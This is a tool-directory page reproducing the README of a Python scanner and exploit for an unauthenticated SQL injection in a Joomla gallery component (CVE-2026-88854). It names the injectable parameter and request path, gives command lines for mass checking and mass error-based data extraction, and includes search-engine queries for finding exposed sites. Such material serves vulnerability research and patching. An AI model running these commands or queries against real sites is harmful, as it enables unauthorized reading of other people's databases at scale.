Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-88854 — Python 3 PoC scanner and exploit for CVE-2026-88854, an unauthenticated SQL injection in OrdaSoft Joomla Gallery, with mass check and EXTRACTVALUE data-read modes. | Kitploit
Tools/GitHubGitHub/murrez/cve-2026-88854
ReconnaissanceVulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubmurrez/cve-2026-88854

CVE-2026-88854

Python 3 PoC scanner and exploit for CVE-2026-88854, an unauthenticated SQL injection in OrdaSoft Joomla Gallery, with mass check and EXTRACTVALUE data-read modes.

View Repository
3h 10m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-88854 — OrdaSoft Joomla Gallery SQL Injection

Python 3 PoC scanner/exploit for CVE-2026-88854 in OrdaSoft OS Responsive Image Gallery for Joomla.

Componentcom_osgallery, com_osgallery_light
Affected1.0.0 – 6.2.6
Fixed in6.2.7+
CVSS 4.09.3 (Critical)
AuthNone (public mod_osgallery_search)
CWECWE-89

Summary

showSearchResult() / showSearchResultAjax() read textsearch / searchText via $input->getVar(), which does not apply proper SQL escaping. The value is concatenated into a LIKE clause. Unauthenticated visitors can use UNION-style injection to read database contents.

Typical request surface:

root@kitploit:~
GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...

Legacy installs may use task name searhResult (typo).

Requirements

  • Python 3.9+
  • pip install -r requirements.txt

Usage

root@kitploit:~
pip install -r requirements.txt

# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit

python poc.py -u https://target.example --mode exploit \
  --subquery "SELECT DATABASE()"

# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
  --output exploit_results.jsonl --vuln-list exploited.txt

# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl

CLI options

Output (mass check)

FileContent
cve_2026_88854_results.jsonlPer-target JSON
hits.txtCandidate URLs (exploitable_candidate)

Common status values (check)

Post-scan audit (audit_scan.py)

After a mass check, run audit_scan.py to re-fetch administrator manifests and split targets:

Gallery version is read from the <version> element in administrator/components/com_osgallery/osgallery.xml, not the Joomla extension version= attribute.

Limitations

  • Exploit mode uses MySQL error-based EXTRACTVALUE; MariaDB/Postgres, disabled errors, or WAF may yield no leak even when the CVE applies.
  • Boolean length diffs alone are not treated as confirmed SQLi (ModSecurity 406 caused false positives in testing).
  • Manifest version ≤ 6.2.6 indicates exposure window, not guaranteed exploitable SQLi on every host.
  • Subdirectory Joomla installs require the correct base URL (e.g. https://host/site).

FOFA / discovery hints

root@kitploit:~
app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"

Repository layout

root@kitploit:~
.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Local target lists and run artifacts (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) are in .gitignore and should not be committed.

References

  • NVD — CVE-2026-88854
  • OrdaSoft Joomla Gallery

Legal

For authorized security testing only. You are responsible for compliance with applicable laws and program rules.

Download Tool
OptionDescription
-u, --urlSingle target base URL (subdir installs: include path)
--listTarget list file (one URL per line)
--modecheck or exploit
--subquerySQL inside EXTRACTVALUE (exploit mode, default SELECT VERSION())
--threads, -jMass concurrency (default 20)
--timeoutHTTP timeout seconds (default 20)
--proxyHTTP(S) proxy URL
--outputJSONL results (default cve_2026_88854_results.jsonl)
--vuln-listCheck → hits.txt; exploit → exploited.txt
--quiet, -qLess progress output
StatusMeaning
sqli_confirmedError/time-based SQLi or verified EXTRACTVALUE leak
likely_vulnerable_versionManifest version ≤ 6.2.6 + search endpoint
likely_componentGallery detected, version unknown
boolean_inconclusiveResponse length diff only (often WAF); not counted as confirmed
patched_versionManifest version > 6.2.6
component_no_search_endpointComponent present, search task not reachable
no_componentcom_osgallery not detected
FileContent
hits_version_lte_626.txtManifest gallery version ≤ 6.2.6
hits_component_endpoint.txtGallery + endpoint, version unreadable
hits_patched.txtManifest > 6.2.6
fofa_stale.txtNo component (stale FOFA row)
cve_2026_88854_audit.jsonlEnriched JSONL